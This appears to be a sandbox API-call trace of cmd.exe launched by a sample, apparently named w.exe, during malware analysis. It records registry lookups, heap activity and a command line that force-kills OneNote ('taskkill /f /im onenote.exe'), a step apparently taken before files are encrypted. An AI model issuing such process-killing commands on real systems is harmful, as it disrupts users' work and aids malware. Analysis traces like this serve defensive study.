	[0045.581] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14eadc, lpData=0x14eae0, lpcbData=0x14ead8*=0x1000 | out: lpType=0x14eadc*=0x0, lpData=0x14eae0*=0x1, lpcbData=0x14ead8*=0x1000) returned 0x2
	[0045.581] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14eadc, lpData=0x14eae0, lpcbData=0x14ead8*=0x1000 | out: lpType=0x14eadc*=0x4, lpData=0x14eae0*=0x0, lpcbData=0x14ead8*=0x4) returned 0x0
	[0045.581] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14eadc, lpData=0x14eae0, lpcbData=0x14ead8*=0x1000 | out: lpType=0x14eadc*=0x4, lpData=0x14eae0*=0x40, lpcbData=0x14ead8*=0x4) returned 0x0
	[0045.581] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14eadc, lpData=0x14eae0, lpcbData=0x14ead8*=0x1000 | out: lpType=0x14eadc*=0x4, lpData=0x14eae0*=0x40, lpcbData=0x14ead8*=0x4) returned 0x0
	[0045.581] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14eadc, lpData=0x14eae0, lpcbData=0x14ead8*=0x1000 | out: lpType=0x14eadc*=0x0, lpData=0x14eae0*=0x40, lpcbData=0x14ead8*=0x1000) returned 0x2
	[0045.581] RegCloseKey (hKey=0x68) returned 0x0
	[0045.581] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14ead4 | out: phkResult=0x14ead4*=0x68) returned 0x0
	[0045.581] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14eadc, lpData=0x14eae0, lpcbData=0x14ead8*=0x1000 | out: lpType=0x14eadc*=0x0, lpData=0x14eae0*=0x40, lpcbData=0x14ead8*=0x1000) returned 0x2
	[0045.581] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14eadc, lpData=0x14eae0, lpcbData=0x14ead8*=0x1000 | out: lpType=0x14eadc*=0x4, lpData=0x14eae0*=0x1, lpcbData=0x14ead8*=0x4) returned 0x0
	[0045.581] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14eadc, lpData=0x14eae0, lpcbData=0x14ead8*=0x1000 | out: lpType=0x14eadc*=0x0, lpData=0x14eae0*=0x1, lpcbData=0x14ead8*=0x1000) returned 0x2
	[0045.581] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14eadc, lpData=0x14eae0, lpcbData=0x14ead8*=0x1000 | out: lpType=0x14eadc*=0x4, lpData=0x14eae0*=0x0, lpcbData=0x14ead8*=0x4) returned 0x0
	[0045.581] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14eadc, lpData=0x14eae0, lpcbData=0x14ead8*=0x1000 | out: lpType=0x14eadc*=0x4, lpData=0x14eae0*=0x9, lpcbData=0x14ead8*=0x4) returned 0x0
	[0045.581] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14eadc, lpData=0x14eae0, lpcbData=0x14ead8*=0x1000 | out: lpType=0x14eadc*=0x4, lpData=0x14eae0*=0x9, lpcbData=0x14ead8*=0x4) returned 0x0
	[0045.581] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14eadc, lpData=0x14eae0, lpcbData=0x14ead8*=0x1000 | out: lpType=0x14eadc*=0x0, lpData=0x14eae0*=0x9, lpcbData=0x14ead8*=0x1000) returned 0x2
	[0045.582] RegCloseKey (hKey=0x68) returned 0x0
	[0045.582] time (in: timer=0x0 | out: timer=0x0) returned 0x5d163036
	[0045.582] srand (_Seed=0x5d163036) 
	[0045.582] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im onenote.exe \""
	[0045.582] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im onenote.exe \""
	[0045.582] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0045.582] GetProcessHeap () returned 0x450000
	[0045.582] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x210) returned 0x462008
	[0045.582] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x462010, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0045.582] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0045.582] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0045.582] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0045.582] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0045.582] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0045.582] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0045.582] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0045.582] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0045.582] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0045.582] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0045.583] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0045.583] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0045.583] GetProcessHeap () returned 0x450000
	[0045.583] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x462ae0 | out: hHeap=0x450000) returned 1
	[0045.583] GetEnvironmentStringsW () returned 0x462220*
	[0045.583] GetProcessHeap () returned 0x450000
	[0045.583] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xae2) returned 0x464b80
	[0045.583] FreeEnvironmentStringsW (penv=0x462220) returned 1
	[0045.583] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0045.583] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0045.583] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0045.583] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0045.583] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0045.583] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0045.583] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0045.583] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0045.583] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0045.583] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0045.583] GetProcessHeap () returned 0x450000
	[0045.583] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x54) returned 0x465670
	[0045.583] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x14f8a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0045.583] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x14f8a0, lpFilePart=0x14f89c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14f89c*="Desktop") returned 0x25
	[0045.583] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0045.584] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x14f61c | out: lpFindFileData=0x14f61c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x461e88
	[0045.584] FindClose (in: hFindFile=0x461e88 | out: hFindFile=0x461e88) returned 1
	[0045.584] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x14f61c | out: lpFindFileData=0x14f61c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x461e88
	[0045.584] FindClose (in: hFindFile=0x461e88 | out: hFindFile=0x461e88) returned 1
	[0045.584] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0045.584] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x14f61c | out: lpFindFileData=0x14f61c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x461e88
	[0045.584] FindClose (in: hFindFile=0x461e88 | out: hFindFile=0x461e88) returned 1
	[0045.584] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0045.584] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0045.584] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0045.584] GetProcessHeap () returned 0x450000
	[0045.584] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x464b80 | out: hHeap=0x450000) returned 1
	[0045.584] GetEnvironmentStringsW () returned 0x464090*
	[0045.584] GetProcessHeap () returned 0x450000
	[0045.584] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb36) returned 0x465ed0
	[0045.585] FreeEnvironmentStringsW (penv=0x464090) returned 1
	[0045.585] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0045.585] GetProcessHeap () returned 0x450000
	[0045.585] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x465670 | out: hHeap=0x450000) returned 1
	[0045.585] GetProcessHeap () returned 0x450000
	[0045.585] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x400e) returned 0x466a10
	[0045.585] GetProcessHeap () returned 0x450000
	[0045.585] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4a) returned 0x462d60
	[0045.585] GetProcessHeap () returned 0x450000
	[0045.585] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4008) returned 0x46aa28
	[0045.585] GetProcessHeap () returned 0x450000
	[0045.585] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4008) returned 0x46ea38
	[0045.587] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0045.587] GetProcessHeap () returned 0x450000
	[0045.587] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x418) returned 0x462db8
	[0045.587] SetErrorMode (uMode=0x0) returned 0x8003
	[0045.587] SetErrorMode (uMode=0x1) returned 0x0
	[0045.587] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x462dc0, lpFilePart=0x14f818 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x14f818*="f") returned 0x31
	[0045.587] SetErrorMode (uMode=0x8003) returned 0x1
	[0045.587] GetProcessHeap () returned 0x450000
	[0045.587] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x462db8, Size=0x8c) returned 0x462db8
	[0045.587] GetProcessHeap () returned 0x450000
	[0045.587] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x462db8) returned 0x8c
	[0045.588] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0045.588] GetProcessHeap () returned 0x450000
	[0045.588] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x72) returned 0x472a60
	[0045.588] GetProcessHeap () returned 0x450000
	[0045.588] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xd8) returned 0x462e50
	[0045.588] GetProcessHeap () returned 0x450000
	[0045.588] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x462e50, Size=0x72) returned 0x462e50
	[0045.588] GetProcessHeap () returned 0x450000
	[0045.588] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x462e50) returned 0x72
	[0045.588] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0045.588] GetProcessHeap () returned 0x450000
	[0045.588] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xe0) returned 0x462ed0
	[0045.591] GetProcessHeap () returned 0x450000
	[0045.591] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x462ed0, Size=0x76) returned 0x462ed0
	[0045.591] GetProcessHeap () returned 0x450000
	[0045.591] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x462ed0) returned 0x76
	[0045.591] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0045.592] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im onenote.exe ", fInfoLevelId=0x1, lpFindFileData=0x14f5b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14f5b4) returned 0xffffffff
	[0045.592] GetLastError () returned 0x3
	[0045.592] GetProcessHeap () returned 0x450000
	[0045.592] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x46aa28 | out: hHeap=0x450000) returned 1
	[0045.592] GetProcessHeap () returned 0x450000
	[0045.592] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x46ea38 | out: hHeap=0x450000) returned 1
	[0045.592] GetProcessHeap () returned 0x450000
	[0045.592] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466a10 | out: hHeap=0x450000) returned 1
	[0045.592] GetConsoleOutputCP () returned 0x1b5
	[0045.592] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1
	[0045.592] GetUserDefaultLCID () returned 0x409
	[0045.593] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a864950, cchData=8 | out: lpLCData=":") returned 2
	[0045.593] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x14f9e0, cchData=128 | out: lpLCData="0") returned 2
	[0045.593] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x14f9e0, cchData=128 | out: lpLCData="0") returned 2
	[0045.593] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x14f9e0, cchData=128 | out: lpLCData="1") returned 2
	[0045.593] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a864940, cchData=8 | out: lpLCData="/") returned 2
	[0045.593] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a864d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0045.593] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a864d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0045.593] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a864d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0045.593] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a864cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0045.593] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a864c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0045.593] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a864c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0045.593] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a864c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0045.593] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a864930, cchData=8 | out: lpLCData=".") returned 2
	[0045.593] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a864920, cchData=8 | out: lpLCData=",") returned 2
	[0045.593] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0045.595] GetProcessHeap () returned 0x450000
	[0045.595] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20c) returned 0x462f50
	[0045.595] GetConsoleTitleW (in: lpConsoleTitle=0x462f50, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0045.595] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0045.595] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0045.595] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0045.595] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0045.595] GetProcessHeap () returned 0x450000
	[0045.595] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x400a) returned 0x466a10
	[0045.595] GetProcessHeap () returned 0x450000
	[0045.595] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466a10 | out: hHeap=0x450000) returned 1
	[0045.596] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0045.596] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0045.596] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0045.596] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0045.596] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0045.596] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0045.596] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0045.596] GetProcessHeap () returned 0x450000
	[0045.596] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x58) returned 0x463168
	[0045.596] GetProcessHeap () returned 0x450000
	[0045.596] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x1a) returned 0x465710
	[0045.597] GetProcessHeap () returned 0x450000
	[0045.597] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x32) returned 0x4631c8
	[0045.597] GetConsoleTitleW (in: lpConsoleTitle=0x14f6d8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0045.600] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0045.600] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0045.600] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0045.600] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0045.600] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0045.600] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0045.600] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0045.600] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0045.600] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0045.600] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0045.600] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0045.600] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0045.600] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0045.600] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0045.600] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0045.600] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0045.600] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0045.600] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0045.600] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0045.600] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0045.601] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0045.601] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0045.601] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0045.601] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0045.601] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0045.601] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0045.601] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0045.601] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0045.601] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0045.601] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0045.601] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0045.601] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0045.601] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0045.601] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0045.601] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0045.601] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0045.601] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0045.601] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0045.601] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0045.601] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0045.601] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0045.601] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0045.601] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0045.601] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0045.601] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0045.601] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0045.601] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0045.601] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0045.601] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0045.601] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0045.601] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0045.601] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0045.601] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0045.601] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0045.601] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0045.602] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0045.602] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0045.602] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0045.602] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0045.602] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0045.602] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0045.602] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0045.602] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0045.602] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0045.602] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0045.602] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0045.602] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0045.602] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0045.602] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0045.602] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0045.602] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0045.602] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0045.602] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0045.602] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0045.602] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0045.602] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0045.602] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0045.602] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0045.602] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0045.602] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0045.602] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0045.602] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0045.602] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0045.602] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0045.602] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0045.602] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0045.602] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0045.603] GetProcessHeap () returned 0x450000
	[0045.603] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x210) returned 0x463208
	[0045.603] GetProcessHeap () returned 0x450000
	[0045.603] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x44) returned 0x463420
	[0045.603] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0045.603] GetProcessHeap () returned 0x450000
	[0045.603] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x418) returned 0x4507f0
	[0045.603] SetErrorMode (uMode=0x0) returned 0x8003
	[0045.603] SetErrorMode (uMode=0x1) returned 0x0
	[0045.603] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4507f8, lpFilePart=0x14f1f8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14f1f8*="Desktop") returned 0x25
	[0045.603] SetErrorMode (uMode=0x8003) returned 0x1
	[0045.603] GetProcessHeap () returned 0x450000
	[0045.603] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4507f0, Size=0x66) returned 0x4507f0
	[0045.603] GetProcessHeap () returned 0x450000
	[0045.603] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x4507f0) returned 0x66
	[0045.603] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0045.604] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0045.604] GetProcessHeap () returned 0x450000
	[0045.604] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x120) returned 0x463470
	[0045.604] GetProcessHeap () returned 0x450000
	[0045.604] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x238) returned 0x450860
